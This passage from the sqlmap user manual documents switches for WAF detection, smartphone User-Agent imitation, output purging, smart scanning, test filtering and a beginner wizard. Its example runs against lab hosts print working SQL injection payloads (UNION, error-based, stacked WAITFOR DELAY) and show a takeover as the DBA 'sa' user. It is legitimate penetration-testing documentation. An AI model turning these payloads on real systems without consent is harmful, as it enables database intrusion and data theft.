sqlmap can try to identify backend WAF/IPS/IDS protection (if any) so user could do appropriate steps (e.g. use tamper scripts with `--tamper`). Currently around 30 different products are supported (Airlock, Barracuda WAF, etc.) and their respective WAF scripts can be found inside `waf` directory.

Example against a MySQL target protected by the ModSecurity WAF:

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -
[...]
[11:35:23] [INFO] testing connection to the target URL
[11:35:23] [INFO] heuristics detected web page charset 'ascii'
[11:35:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Securit
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (Bin
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (ar
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enter
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technol
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Inc
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (Cl
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Bar
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM
[11:35:23] [DEBUG] declared web page charset 'iso-8859-1'
[11:35:23] [DEBUG] page not found (404)
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasu
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONI
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[11:35:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Applicatio
[11:35:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firew
[...]
```

6.16.12 Imitate smartphone

Switch: `--mobile`

Sometimes web servers expose different interfaces toward mobile phones than to desktop computers. In such cases you can enforce usage of one of predetermined smartphone HTTP User-Agent header values. By using this switch, sqlmap will ask you to pick one of popular smartphones which it will imitate in current run.

Example run:

```
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
```

```
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
```

6.16.13 Display page rank (PR) for Google dork results

Switch: `--page-rank`

Performs further requests to Google when `-g` is provided and display page rank (PR) for Google dork results.

6.16.14 Safely remove all content from output directory

Switch `--purge-output`

In case that user decides to safely remove all content from `output` directory, containing all target details from previous sqlmap runs, he can use switch `--purge-output`. While purging, all files from (sub)directories in folder `output` will be overwritten with random data, truncated, renamed to random names, (sub)directories will be renamed to random names too, and finally the whole directory tree will be deleted.

Example run:

```
$ python sqlmap.py --purge-output -v 3
[...]
[11:38:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[11:38:55] [DEBUG] changing file attributes
[11:38:55] [DEBUG] writing random data to files
[11:38:55] [DEBUG] truncating files
[11:38:55] [DEBUG] renaming filenames to random values
[11:38:55] [DEBUG] renaming directory names to random values
[11:38:55] [DEBUG] deleting the whole directory tree
[...]
```

6.16.15 Conduct through tests only if positive heuristic(s)

Switch `--smart`

There are cases when user has a large list of potential target URLs (e.g. provided with option `-m`) and he wants to find a vulnerable target as fast as possible. If switch `--smart` is used, only parameters with which DBMS error(s) can be provoked, are being used further in scans. Otherwise they are skipped.

Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" -
[...]
[16:12:14] [INFO] testing if GET parameter 'ca' is dynamic
[16:12:14] [WARNING] GET parameter 'ca' does not appear dynamic
[16:12:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injec
[16:12:14] [INFO] skipping GET parameter 'ca'
[16:12:14] [INFO] testing if GET parameter 'user' is dynamic
[16:12:14] [WARNING] GET parameter 'user' does not appear dynamic
[16:12:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be inj
[16:12:14] [INFO] skipping GET parameter 'user'
[16:12:14] [INFO] testing if GET parameter 'id' is dynamic
[16:12:14] [INFO] confirming that GET parameter 'id' is dynamic
[16:12:14] [INFO] GET parameter 'id' is dynamic
[16:12:14] [WARNING] reflective value(s) found and filtering out
[16:12:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (
[16:12:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n
[16:12:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:12:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' i
[16:12:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:12:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clau
[16:12:14] [INFO] testing 'MySQL inline queries'
[16:12:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:12:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[16:12:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:12:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:12:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:12:24] [INFO] automatically extending ranges for UNION query injection technique tests a
[16:12:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed
[16:12:24] [INFO] target URL appears to have 3 columns in query
[16:12:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injecta
[...]
```

6.16.16 Select tests by payloads and/or titles

Option `--test-filter`

In case that you want to filter tests by their payloads and/or titles you can use this option. For example, if you want to test all payloads which have `ROW` keyword inside, you can use `--test-filter=ROW`.

Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-f
[...]
[16:16:39] [INFO] GET parameter 'id' is dynamic
[16:16:39] [WARNING] reflective value(s) found and filtering out
[16:16:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (
[16:16:39] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[16:16:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or HAVING clau
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELECT (CASE WHEN
---
[...]
```

6.16.17 Simple wizard interface for beginner users

Switch: `--wizard`

For beginner users there is a wizard interface which uses a simple workflow with as little questions as possible. If user just enters target URL and uses default answers (e.g. by pressing `Enter`) he should have a properly set sqlmap run environment by the end of the workflow.

Example against a Microsoft SQL Server target:

```
$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is

[*] starting at 11:25:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
```

```
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SEL

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58)

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
```

```
    Oct 14 2005 00:33:37
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at 11:25:52
```

7 License

sqlmap is (C) 2006-2013 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.

This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 with the clarifications and exceptions described in the license file. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses (contact sales@sqlmap.org).

8 Disclaimer

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License v2.0 for more details at http://www.gnu.org/licenses/gpl-2.0.html.

Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

9 Developers

- Bernardo Damele A. G. (@inquisb)
- Miroslav Stampar (@stamparm)